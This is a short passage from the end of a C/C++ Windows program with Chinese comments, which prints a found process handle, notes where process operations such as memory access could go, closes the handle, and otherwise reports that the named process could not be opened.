wprintf(L"Process Handle: %p\n", hProcess); // 打印找到的进程句柄

// 此处您可以对进程执行需要的操作,例如读写内存等

// 关闭进程句柄以释放资源
CloseHandle(hProcess);
}
else {
// 如果未找到进程或打开句柄失败,打印错误信息
wprintf(L"Failed to find or open process: %s\n", szProcessName);
}

return 0; // 返回0表示程序正常结束
}